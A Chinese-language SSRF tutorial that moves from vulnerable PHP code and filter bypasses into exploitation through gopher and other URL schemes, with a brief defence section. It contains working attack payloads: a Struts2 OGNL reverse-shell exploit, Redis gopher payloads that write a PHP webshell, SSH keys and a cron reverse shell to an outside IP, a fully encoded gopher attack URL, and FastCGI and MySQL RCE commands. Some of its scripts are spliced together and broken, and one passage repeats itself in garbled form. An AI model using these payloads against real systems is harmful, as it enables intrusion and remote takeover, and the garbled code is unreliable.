SSRF漏洞详解
一、SSRF概述
SSRF全稱為Server-side Request Fogery,中文含義為服務器端請求偽造,漏洞產生的原因是服務端提供了能夠從其他服務器應用獲取數據的功能,比如從指定的URL地址獲取網頁內容,加載指定地址的圖片、數據、下載等等。
一般情況下,我們服務端請求的目標都是與該請求服務器處于同一內網的資源服務,但是如果沒有對這個請求的目標地址、文件等做充足的過濾和限制,攻擊者可通過篡改這個請求的目標地址來進行偽造請求,所以這個漏洞名字也叫作“服務器請求偽造”。
利用SSRF能實現以下效果:
1、可以對服務器所在的內網、本地進行端口掃描,獲取一些服務的banner信息
2、攻擊運行在內網或本地的應用程序(比如溢出)
3、對內網web應用進行指紋識別,通過訪問應用存在的默認文件實現;
4、攻擊內外網的web應用,主要是使用get參數就可以實現的攻擊(比如struts2漏洞利用等)
5、利用file協議讀取本地文件
6、利用Redis未授權訪問,HTTP CRLF注入達到getshell
7、DOS攻擊(請求大文件,始終保持連接keep alive always)等等
二、漏洞出現點
1、通過url地址分享網頁內容功能處
2、轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽
3、在線翻譯
4、圖片加載與下載(一般通過url地址加載或下載圖片處)
5、圖片、文章收藏功能
6、未公開的api實現以及其他調用url的功能
7、云服務器商(它會遠程執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的信息,就可以進行ssrf測試)
8、有遠程圖片加載的地方(編輯器之類的遠程圖片加載處)
9、網站采集、網頁抓取的地方(一些網站會針對你輸入的url進行一些信息采集工作)
10、頭像處(某易就喜歡遠程加載頭像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
11、郵件系統(比如接收郵件服務器地址)
12、編碼處理, 屬性信息處理,文件處理(比如ffpmg,ImageMagick,docx,pdf,xml處理器等)
13、從遠程服務器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎對象的地方 如wordpress xmlrpc.php)
14、從URL關鍵字中尋找
share wap url link src source target u 3g display sourceURl imageURL domain三、SSRF漏洞利用
1、產生SSRF漏洞的代碼
ssrf攻擊可能存在任何語言編寫的應用,接下來我們將展示php中可能存在SSRF漏洞的函數。
file_get_content() 、fsockopen() 、curl_exec()1.1、file_get_contents
下面的代碼使用file_get_contents函數從用戶指定的url獲取圖片。然后把它用一個隨即文件名保存在硬盤上,并展示給用戶。
<?php if (isset($_POST['url'])) {$content = file_get_contents($_POST['url']);$filename ='./images/'.rand().';img1.jpg';file_put_contents($filename, $content); echo $_POST['url'];$img = "<img src=\"".$filename."\"/>"; } echo $img; ?>1.2、fsockopen()
使用fsockopen函數實現獲取用戶制定url的數據(文件或者html)。這個函數會使用socket跟服務器建立tcp連接,傳輸原始數據。
<?phpfunction GetFile($host,$port,$link){$fp = fsockopen($host, intval($port),$errno, $errstr, 30); if (!$fp){echo "$errstr (error number $errno) \n"; } else {$out = "GET $link HTTP/1.1\r\n";$out .= "Host: $host\r\n" $out .= "Connection: Close\r\n\r\n";$out .= "\r\n"; fwrite($fp, $out);$contents='';while (!feof($fp)){$contents.= fgets($fp, 1024);}fclose($fp);return $contents;}} ?>1.3、curl_exec()
使用curl發送請求獲取數據。
<?phpif (isset($_POST['url'])) {$link = $_POST['url'];$curlobj = curl_init();curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, TRUE); TRUE 將curl_exec()獲取的信息以字符串返回,而不是直接輸出。 $result=curl_exec($curlobj);curl_close($curlobj);$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result);echo $result; } ?>2、繞過方法
url解析規則
IP地址進制轉換
302跳轉
DNS重綁定
2.1、@符
對于一個 url 的訪問實際上是以 @符后為準的,比如說 xxxx.com@10.10.10.10,則實際上訪問的是 10.10.10.10 這個地址
2.2、302跳轉
網址后加 xip.io
其原理是例如 10.10.10.10.xip.io 會被解析成 10.10.10.10
2.3、數字IP Bypass
IP進制轉換/Enclosed Alphanumerics/特殊地址
進制轉換
ip 轉換為八進制十進制十六進制這種,同樣也可以正常訪問
Enclosed Alphanumerics
由英文字母數字組成的Unicode字符集,位于圓圈,括號或其他未封閉的封閉空間內,或以句號結尾。如下
???????.??? >>> example.com ①②⑦.?.?.① >>> 127.0.0.1特殊地址:
http://0/ # 0.0.0.0可以直接訪問到本地 http://127。0。0。1 # 繞過后端正則規則 http://localhost/2.4、短網址繞過
2.5、添加端口號
http://127.0.0.1:80802.6、協議限制繞過
當url協議限定只為http(s)時,可以利用follow redirect 特性
構造302跳轉服務,
結合dict:// file:// gopher://
2.7、DNS重綁定
對于用戶請求的URL參數,首先服務器端會對其進行DNS解析,然后對于DNS服務器返回的IP地址進行判斷,如果在黑名單中,就pass掉
但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間差,利用這個時間差,我們可以進行DNS 重綁定攻擊。我們利用DNS Rebinding技術,在第一次校驗IP的時候返回一個合法的IP,在真實發起請求的時候,返回我們真正想要訪問的內網IP即可
要完成DNS重綁定攻擊,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設置TTL(TTL表示DNS記錄在DNS服務器上緩存時間)時間為0,這是為了防止有DNS服務器對第一次的解析結果進行緩存
完整的DNS重綁定攻擊流程為:
1、服務器端獲得URL參數,進行第一次DNS解析,獲得了一個非內網的IP 2、對于獲得的IP進行判斷,發現為指定范圍IP,則通過驗證 3、接下來服務器端對URL進行訪問,由于DNS服務器設置的TTL為0,所以再次進行DNS解析,這一次DNS服務器返回的是內網地址 4、由于已經繞過驗證,所以服務器端返回訪問內網資源的內容3、SSRF 漏洞的驗證
ssrf漏洞可分為有回顯型和無回顯型,有回顯型ssrf可以直接通過頁面加載出目標資產,可先嘗試加載http://www.baidu.com 頁面確認有ssrf,如果成功的話,可進一步將百度換成內網IP,通過fuzz掃描內網資產。
無回顯型ssrf的檢測需要先配合dnslog平臺,測試dnslog平臺能否獲取到服務器的訪問記錄,如果沒有對應記錄,也可能是服務器不出網造成的,利用時可以通過請求響應時間判斷內網資產是否存在,然后再利用內網資產漏洞(比如redis以及常見可RCE的web框架)證明漏洞的有效性。
3.1、基本判斷(排除法)
http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png排除法一:
我們先驗證,請求是否是服務器端發出的,可以右鍵圖片,使用新窗口打開圖片,如果瀏覽器上地址欄是http://www.baidu.com/img/bd_logo1.png,說明不存在SSRF漏洞。
排除法二:
你可以使用burpsuite等抓包工具來判斷是否不是SSRF,首先SSRF是由服務端發起的請求,因此在加載圖片的時候,是由服務端發起的,所以在我們本地瀏覽器的請求中就不應該存在圖片的請求,在此例子中,如果刷新當前頁面,有如下請求,則可判斷不是SSRF。(前提設置burpsuite截斷圖片的請求,默認是放行的)
3.2、實例驗證
經過簡單的排除驗證之后,我們就要驗證看看此URL是否可以來請求對應的內網地址。在此例子中,首先我們要獲取內網存在HTTP服務且存在favicon.ico文件的地址,才能驗證是否是SSRF漏洞。
找存在HTTP服務的內網地址:
一、從漏洞平臺中的歷史漏洞尋找泄漏的存在web應用內網地址
二、通過二級域名暴力猜解工具模糊猜測內網地址
4、SSRF利用
4.1、內網資源訪問
url?url=http://內網的資源url偽協議
file:/// dict:// sftp:// ldap:// tftp:// gopher://file://
這種URL Schema可以嘗試從文件系統中獲取文件:
http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini如果該服務器阻止對外部站點發送HTTP請求,或啟用了白名單防護機制,只需使用如下所示的URL Schema就可以繞過這些限制:
dict://
這種URL Scheme能夠引用允許通過DICT協議使用的定義或單詞列表:
http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0sftp://
在這里,Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol),或安全文件傳輸協議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協議,它運行在安全連接上,并以類似的方式進行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2ldap://或ldaps:// 或ldapi://
LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用于管理和訪問分布式目錄信息服務的應用程序協議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquittftp://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基于lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3gopher://
gopher協議:互聯網上使用的分布型的文件搜集獲取網絡協議,是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
Gopher是Internet上一個信息查找系統,它將Internet上的文件組織成某種索引,方便用戶從Internet的處帶到另一處。在WWW出現之前,Gopher是Internet上最主要的信息檢索工具。使用tcp 70端口。但在WWW出現后,Gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;gopher協議支持發出GET、POST請求。
gopher協議支持發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議 使用方法:gopher://ip:port/_payload(需要%0d%0A回車換行) 默認端口是70GET請求
在windows端開啟一個nc監聽:
nc -lp 8989在kali用gopher協議向windows發送一個get請求:
curl gopher://192.168.1.120:8989/suibianxiewindows端立即收到響應,不過第一個字符被吃掉了。
在gopher協議中發送HTTP的數據,需要以下三步:
1、構造HTTP數據包
2、URL編碼、替換回車換行為%0d%0a
3、發送gopher協議
在向服務器發送請求時,首先瀏覽器會進行一次 URL解碼,其次服務器收到請求后,在執行curl功能時,進行第二次 URL解碼。
如果多個參數,參數之間的&也需要進行URL編碼
構造GET型的HTTP包,如下:
GET /ssrf/test/get.php?name=Qianxun HTTP/1.1 Host: 192.168.1.120URL編碼后為:
curl gopher://192.168.1.120:80/_GET%20/ssrf/test/get.php%3fname=Qianxun%20HTTP/在轉換為URL編碼時候有這么幾個坑
1、問號(?)需要轉碼為URL編碼,也就是%3f
2、回車換行要變為%0d%0a,但如果直接用工具轉,可能只會有%0a
3、在HTTP包的最后要加%0d%0a,代表消息結束(具體可研究HTTP包結束)
POST請求
發送POST請求前,先看下POST數據包的格式
注:在使用 Gopher協議發送 POST請求包時,Host、Content-Type和Content-Length請求頭是必不可少的,但在 GET請求中可以沒有。
POST /ssrf/test/post.php HTTP/1.1 host:192.168.1.120 Content-Type:application/x-www-form-urlencoded Content-Length:12name=Qianxun將上面的POST數據包進行URL編碼并改為gopher協議
curl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A要注意gopher的url后面的占位字符。
在向服務器發送請求時,首先瀏覽器會進行一次 URL解碼,其次服務器收到請求后,在執行curl功能時,進行第二次 URL解碼。
如果多個參數,參數之間的&也需要進行URL編碼
如何使用gopher協議反彈shell?
今天我們用到的漏洞是Struts2-045漏洞,相信很多大佬不陌生,以下為S2-045漏洞反彈shell的利用代碼,我們在本地機器上執行:nc -lp 6666
GET /S2-045/ HTTP/1.1 Host: 192.168.0.119 Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}在SSRF中如何使用gopher協議反彈shell?
前提條件: PhP版本必須大于等于5.3 PHP.ini文件中開啟了extension=php_curl.dll需要利用具體漏洞。。。。。。。
4.2、利用SSRF進行端口掃描
提交對應參數url包括IP地址:端口 測試端口狀態。
url?url=http://127.0.0.1:3306大多數社交網站都提供了通過用戶指定的url上傳圖片的功能。如果用戶輸入的url是無效的。大部分的web應用都會返回錯誤信息。攻擊者可以輸入一些不常見的但是有效的URI,然后根據服務器的返回信息來判斷端口是否開放。大部分應用并不會去判斷端口,只要是有效的URL,就發出了請求。而大部分的TCP服務,在建立socket連接的時候就會發送banner信息,banner信息是ascii編碼的,能夠作為原始的html數據展示。當然,服務端在處理返回信息的時候一般不會直接展示,但是不同的錯誤碼,返回信息的長度以及返回時間都可以作為依據來判斷遠程服務器的端口狀態。
4.3、攻擊應用程序
內網的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通過ssrf攻擊,可以實現對內網的訪問,從而可以攻擊內網或者本地機器,獲得shell等。
4.3.1、FastCGI
參考:https://bbs.ichunqiu.com/thread-58455-1-1.html
? https://blog.csdn.net/weixin_39664643/article/details/114977217
維基百科的解釋:快速通用網關接口(Fast Common Gateway Interface/FastCGI)是一種讓交互程序與Web服務器通信的協議。FastCGI是早期通用網關接口(CGI)的增強版本。FastCGI致力于減少網頁服務器與CGI程序之間交互的開銷,從而使[服務器可以同時處理更多的網頁請求。
CGI:是 Web Server 與 Web Application 之間數據交換的一種協議 FastCGI:同 CGI,是一種通信協議,對比 CGI 提升了5倍以上性能 PHP-CGI:是 PHP(Web Application)對 Web Server 提供的 CGI 協議的接口程序 PHP-FPM:是 PHP(Web Application)對 Web Server 提供的 FastCGI 協議的接口程序,額外還提供了相對智能的任務管理功能FastCGI協議
HTTP協議是瀏覽器和服務器中間件進行數據交換的協議,類比HTTP協議來說,fastcgi協議則是服務器中間件和某個語言后端(如PHP-FPM)進行數據交換的協議
Fastcgi協議由多個record組成,record也有header和body一說,服務器中間件將這二者按照fastcgi的規則封裝好發送給語言后端(PHP-FPM),語言后端(PHP-FPM)解碼以后拿到具體數據,進行指定操作,并將結果再按照該協議封裝好后返回給服務器中間件
record的頭固定8個字節,body是由頭中的contentLength指定 typedef struct {/* Header */unsigned char version; // 版本unsigned char type; // 本次record的類型unsigned char requestIdB1; // 本次record對應的請求idunsigned char requestIdB0;unsigned char contentLengthB1; // body體的大小unsigned char contentLengthB0;unsigned char paddingLength; // 額外塊大小unsigned char reserved; /* Body */unsigned char contentData[contentLength];unsigned char paddingData[paddingLength]; } FCGI_Record;語言端(PHP-FPM)解析了FastCGI頭以后,拿到contentLength,然后再在TCP流里讀取大小等于contentLength的數據,這就是body體
Body后面還有一段額外的數據(Padding),其長度由頭中的paddingLength指定,起保留作用不需要該Padding的時候,將其長度設置為0即可
可見,一個FastCGI record結構最大支持的body大小是2^16,也就是65536字節
其中,header中的type代表本次record的類型
服務器中間件和后端語言(PHP-FPM)通信,第一個數據包就是type為1的record,后續互相交流,發送type為4、5、6、7的record,結束時發送type為2、3的record
用戶訪問http://127.0.0.1/index.php?a=1&b=2,如果web目錄是/var/www/html,那么服務器中間件(Nginx)會將這個請求變成如下key-value對:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1' }這個數組其實就是PHP中SERVER數組的一部分,也就是PHP里的環境變量。但環境變量的作用不僅是填充_SERVER數組的一部分,也就是PHP里的環境變量。但環境變量的作用不僅是填充S?ERVER數組的一部分,也就是PHP里的環境變量。但環境變量的作用不僅是填充_SERVER數組,也是告訴FPM:“我要執行哪個PHP文件”
當后端語言(PHP-FPM)拿到由Nginx發過來的FastCGI數據包后,進行解析,得到上述這些環境變量。然后,執行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
PHP-FPM默認監聽9000端口,如果這個端口暴露在公網,則我們可以自己構造FastCGI協議,和FPM進行通信。
FPM默認配置中增加了security.limit_extensions選項,其限定了只有某些后綴的文件允許被FPM執行,默認是.php。
現在,拿到了文件名,我們能控制SCRIPT_FILENAME,卻只能執行目標服務器上的文件,并不能執行我們想要執行的任意代碼,但我們可以通過構造type值為4的record,也就是設置向PHP-FPM傳遞的環境變量來達到任意代碼執行的目的
PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file
auto_prepend_file是告訴PHP,在執行目標文件之前,先包含auto_prepend_file中指定的文件 auto_append_file是告訴PHP,在執行完成目標文件后,包含auto_append_file指向的文件若我們設置auto_prepend_file為php://input(allow_url_include=on),那么就等于在執行任何PHP文件前都要包含一遍POST的內容。所以,我們只需要把待執行的代碼放在FastCGI協議 Body中,它們就能被執行了
最終,我們設置向PHP-FPM傳遞的環境變量:
{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On' }最后兩行設置auto_prepend_file = php://input且allow_url_include = On,然后將我們需要執行的代碼放在Body中,即可執行任意代碼
方法一:
使用fcgi_exp和nc
# 監聽9000端口 nc -lvvp 9000 > exp.txt 來接收payload另外開啟一個終端使用下面的命令發送payload ./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"exp.txt 文件里的內容有部分是不可見字符,這里需要url編碼一下,這里寫一個Python腳本對文件中的內容進行編碼 # -*- coding: UTF-8 -*- from urllib.parse import quote, unquote, urlencodefile = open('fcg_exp.txt','r') payload = file.read() print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))方法二:
Gopherus攻擊
gopher工具生成payload
這個工具相比上一個更加方便一下,該工具能生成Gopher有效負載,用來利用ssrf獲得RCE,下面利用這個工具來執行命令
python gopherus.py --exploit fastcgi /var/www/html/index.php #這里輸入的是一個已知存在的php文件 whoami4.3.2、Redis
參考:https://blog.csdn.net/LUOBIKUN/article/details/109190546
當存在SSRF漏洞且內網中Redis服務可以未授權訪問時,利用Redis 任意文件寫入成為十分常見的利用方式,一般內網中會存在 root 權限運行的 Redis 服務,利用 Gopher 協議可以攻擊內網中的 Redis。
Redis服務器與客戶端通過RESP(REdis Serialization Protocol)協議通信
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標準方式
RESP實際上是一個支持以下數據類型的序列化協議:
簡單字符串 錯誤 整數 批量字符串 數組RESP在Redis中用作請求 - 響應協議的方式如下:
客戶端將命令作為Bulk Strings的RESP數組發送到Redis服務器 服務器根據命令實現回復一種RESP類型在RESP中,某些數據的類型取決于第一個字節:
對于客戶端請求Simple Strings,回復的第一個字節是+ 對于客戶端請求error,回復的第一個字節是- 對于客戶端請求Integer,回復的第一個字節是: 對于客戶端請求Bulk Strings,回復的第一個字節是$ 對于客戶端請求array,回復的第一個字節是*此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。
當訪問http://10.1.8.159/ssrf.php?url=127.0.0.1時,可以發現,url未對內部地址做過濾,存在SSRF漏洞 探測redis默認端口6379: http://10.1.8.159/ssrf.php?url=dict://127.0.0.1:6379/inforedis客戶端中執行如下命令
192.168.163.128:6379> set name test OK 192.168.163.128:6379> get name "test" 192.168.163.128:6379>抓到的數據包如下
hex轉儲看一下
正如我們前面所說的,客戶端向將命令作為Bulk Strings的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為[“set”,“name”,“test”]);$4代表字符串的長度,0d0a即\r\n表示結束符;+OK表示服務端執行成功后返回的字符串
利用
redis常見的SSRF攻擊方式大概有這幾種:
寫webshell
構造redis命令
flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save寫了一個簡單的腳本,轉化為redis RESP協議的格式
import urllib protocol="gopher://" ip="192.168.163.128" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"] if passwd:cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFimport urllib from urllib import parseprotocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename = "shell.php" path = "/var/www/html" passwd = "" cmd = ["flushall","set 1 {}".format(shell.replace(" ", "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"] if passwd:cmd.insert(0, "AUTH {}".format(passwd)) payload_prefix = protocol + ip + ":" + port + "/_" CRLF = "\r\n"def redis_format(arr):redis_arr = arr.split(" ")cmd_ = ""cmd_ += "*" + str(len(redis_arr))for x_ in redis_arr:cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")cmd_ += CRLFreturn cmd_if __name__ == "__main__":payload = ""for x in cmd:payload += parse.quote(redis_format(x)) # url編碼payload = payload_prefix + parse.quote(payload) # 再次url編碼print(payload)return cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payload寫ssh公鑰
如果.ssh目錄存在,則直接寫入~/.ssh/authorized_keys
如果不存在,則可以利用crontab創建該目錄
首先在靶機中創建ssh公鑰存放目錄(一般是/root/.ssh)
mkdir /root/.ssh靶機中開啟redis服務
redis-server /etc/redis.conf在攻擊機中生成ssh公鑰和私鑰,密碼設置為空:
ssh-keygen -t rsa進入.ssh目錄,然后將生成的公鑰寫入 ceshi.txt 文件
cd /root/.ssh (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt然后在.ssh目錄,可以看到ceshi.txt中已經保存了公鑰:
flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali ' config set dir /root/.ssh/ config set dbfilename authorized_keys save利用contrab計劃任務反彈shell
然后在攻擊機上使用ssh免密登錄靶機:
ssh -i id_rsa root@10.1.8.159反彈shell
set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/6666 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save該命令實現了:創建一個/var/spool/cron目錄下的root用戶的定時任務,每一分鐘執行一次反彈shell的命令。
分別進行二次URL編碼,期間替換%0a為%0d%0a,并按照之前的方式構造得到:
http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%30%25%33%34%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%34%25%33%37%25%32%65%25%33%31%25%33%33%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35直接訪問,成功獲得反彈shell:
nc -lvp 6666
4.3.3、Mysql
MySQL數據庫用戶認證采用的是挑戰/應答的方式,服務器生成該挑戰數(scramble)并發送給客戶端,客戶端用挑戰數加密密碼后返回相應結果,然后服務器檢查是否與預期的結果相同,從而完成用戶認證的過程。
登錄時需要用服務器發來的scramble加密密碼,但是當數據庫用戶密碼為空時,加密后的密文也為空。client給server發的認證包就是相對固定的了。這樣就無需交互,可以通過gopher協議來發送。
mysql數據包前需要加一個四字節的包頭。前三個字節代表包的長度,第四個字節代表包序,在一次完整的請求/響應交互過程中,用于保證消息順序的正確,每次客戶端發起請求時,序號值都會從0開始計算。
這里是構造了gopher來攻擊mysql:
https://github.com/FoolMitAh/mysql_gopher_attack
github上有一個gopher攻擊mysql的python腳本,既然我們知道了curl用戶,那么:
python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c參數說明:
-u 指定用戶 -d 指定數據庫,這里我們可以通過information_schema來獲取所有的數據庫 -P 指定sql語句抓取的mysql通信數據包:
其實也就得到了數據庫:infoemtion_schema、challenges、dwva、test等等。
4.4、內網web應用指紋識別
識別內網應用使用的框架,平臺,模塊以及cms可以為后續的攻擊提供很多幫助。大多數web應用框架都有一些獨特的文件和目錄。通過這些文件可以識別出應用的類型,甚至詳細的版本。根據這些信息就可以針對性的搜集漏洞進行攻擊。
4.5、 攻擊內網web應用
僅僅通過get方法可以攻擊的web有很多,比如struts2命令執行等。
四、防御方法
1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
2, 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。
3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。
4,白名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。
5,禁用不需要的協議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。
五、PHP CURL 函數
參考:https://www.php.net/manual/zh/ref.curl.php
1、curl_close
關閉 cURL 會話
curl_close(resource $ch): void 關閉 cURL 會話并且釋放所有資源。cURL 句柄 `ch` 也會被刪除。2、curl_copy_handle
復制一個cURL句柄和它的所有選項
curl_copy_handle(resource $ch): resource 復制一個cURL句柄并保持相同的選項。3、curl_errno
返回最后一次的錯誤代碼
curl_errno(resource $ch): int 返回最后一次 cURL 操作的錯誤代碼。4、curl_error
返回當前會話最后一次錯誤的字符串
curl_error(resource $ch): string 返回最近一次 cURL 操作的文本錯誤詳情。 返回錯誤信息,或者如果沒有任何錯誤發生就返回 '' (空字符串)。5、curl_escape
使用 URL 編碼給定的字符串
curl_escape(resource $ch, string $str): string 該函數使用 URL 根據? RFC 3986編碼給定的字符串。 $str 需要編碼的字符串6、curl_exec
執行 cURL 會話
